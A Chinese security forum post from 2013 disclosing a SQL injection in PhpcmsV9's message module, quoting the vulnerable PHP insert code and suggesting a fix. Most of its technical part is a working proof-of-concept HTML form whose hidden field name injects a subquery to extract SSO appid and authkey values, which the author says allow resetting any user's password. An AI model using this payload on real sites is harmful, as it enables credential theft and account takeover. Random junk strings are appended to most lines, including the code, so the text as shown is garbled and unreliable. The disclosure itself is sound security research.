找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2092|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
简要描述:
8 C# U$ x8 u& v6 [! L- X! F" J4 a- e( m& a& s  j: j; M) H
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
8 Y" c5 F/ m+ b6 M( Y! Y
& o1 w5 L, L0 A8 i- p; m4 @明天再更新下一个漏洞。
8 u) B) {. b% q( G详细说明:$ |# E$ v, C+ j
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
& u7 q0 I' ?7 h% U8 w" t- F. ]# m# S4 M; E
$messageid = $this->message_db->insert($_POST['info'],true);4 o; R( z6 {8 x/ Z+ q
1 ?7 K7 X; i4 ^, l

- e4 j8 F1 E! a0 P- g! J6 ~1 `3 q0 Ginsert方法是key value的,代码如下:" s& ^" M. Y2 |# L7 {% Z* H

  B- a: A8 ?% ?; ?public function insert($data, $table, $return_insert_id = false, $replace = false) {
8 C- @* M2 }+ R/ E                if(!is_array( $data ) || $table == '' || count($data) == 0) {" U/ y, U  X  C! m. n
                        return false;
) g$ [, B; w, s4 K$ s4 D" _                }
  w+ H; w/ m8 U' \: S: O                ! I7 a, y# D) y3 I% G  ]
                $fielddata = array_keys($data);+ B% Z5 N2 x$ M; M% j1 h$ ?  }8 d
                $valuedata = array_values($data);: P/ M4 c5 X2 C  c. e
                array_walk($fielddata, array($this, 'add_special_char'));  n% V6 j, z* p' y7 r
                array_walk($valuedata, array($this, 'escape_string'));
. D/ E$ U/ k, `7 x& t: B               
2 f" R; O  n& R$ K" G5 Z                $field = implode (',', $fielddata);  b: E5 Z$ O# H% n- v3 E& p
                $value = implode (',', $valuedata);9 ]2 A1 q& ~* W6 |7 O1 S

3 ]% F5 `. ~4 u% f3 Q$ T                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';0 x  J) u% q, A
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
/ K8 I' V' f, v; W                $return = $this->execute($sql);
5 l0 v$ v9 T6 r1 p+ w5 W; h                return $return_insert_id ? $this->insert_id() : $return;
! H- m0 l! R/ B8 D/ t2 y: y# x        }
7 w8 v5 F* J+ p3 \. C; S, B
! k1 g# U4 t. Y& z+ s2 H
1 ]9 l* \# Q# [嗯,很遗憾的是* L# l6 }, s# C9 I% k
6 w$ ?- N5 g  R) p2 K8 X" z: l7 ~
array_walk($fielddata, array($this, 'add_special_char'));' q+ w, x& j. p4 D* o: D/ n! r

; ]& y0 F, g& R9 Q
. N7 i" [% J& X, I2 i2 n0 n( a中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。- y0 q" Q4 j1 T1 U
$ g1 Z; j# C$ k) l! A) S
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
; E/ a3 h) ?+ t+ v. f* Q; }% u( G' |* U6 `
漏洞证明:! s3 u; J! P9 a/ M. K. [/ D7 t
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。# Z7 ~6 g) g" G7 M
1 ]$ _! o& S$ A# P
  z5 `2 s# j7 C7 \
表单如下:用户名什么的得自己改一改。5 \! A( Y' K" L% c! o) n
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
5 Q/ H7 F' Q& O/ a8 E<table width="100%" cellspacing="0" class="table_form">& ]* w. O% }  |" }
<tr>- l1 f0 Q. n5 G: `# [
<th>标 题:</th>
/ _9 h) B% P* w8 h<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>3 f3 y2 m) T6 i5 _( e9 I: T
</tr>
$ \* F. ?, ^! Q: Q  s  G1 r<tr>- V+ G" X1 A4 `. {: e9 S' w3 Y
<th>内 容:</th>
3 u1 ?8 ]/ J0 u/ t; r. P2 b  @<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>. N/ R. e; h7 O2 p+ [/ y4 d% y
</tr>! r) n& k7 t3 N" x( t2 P0 S
<input type="hidden" name="info[replyid]" value="2" /> # z, Q0 p/ }8 A' u; o, G
<input type="hidden" name="info[send_to_id]" value="cc" /> & a" ~# s/ S) c7 d# z
<input type="hidden" name="info[send_from_id]" value="hh">
  f5 l. \7 B) s& {) X, E<!-- 漏洞的利用重点在这里开始 -->6 \& y) P* p- i, e
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
+ B0 J) F$ M6 F( P, ]<!-- 漏洞的利用重点在这里结束 -->
4 X, p( o6 X# f4 {& z% G+ @<tr>2 ]+ r; i* g! b+ p: s
<th>验证码:</th>" H; p+ j' ]. j
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>9 k1 j6 v3 F* q
</tr>2 v& P6 K% m0 X( e4 H. b% r  k
<tr>
1 b1 H4 ~# ^3 j7 x! f( i<td></td>
  C+ z0 d/ N+ J5 p2 w" v: P<td colspan="2"><label>
4 O5 I1 ]$ Y# S; e6 o2 G0 w7 N8 ~<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
/ U3 ^1 U; \. c1 w</label></td>
' J( Z  H" j/ a+ z+ z) d- G</tr>; E6 `" w/ W) {2 s5 H
</table>
4 S( d% ?9 q! R4 n# h5 k' s* R</form>
+ X$ z0 C6 [6 C* a3 K2 C: C. t在add_special_char函数内对key做过滤就可以了。9 y/ g3 ~8 E% M) h+ ]

' X' ~& T3 S8 G% R7 E! |* T
. R! P7 X0 b1 v$ p* ^
7 V+ K/ i3 {) a8 D

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表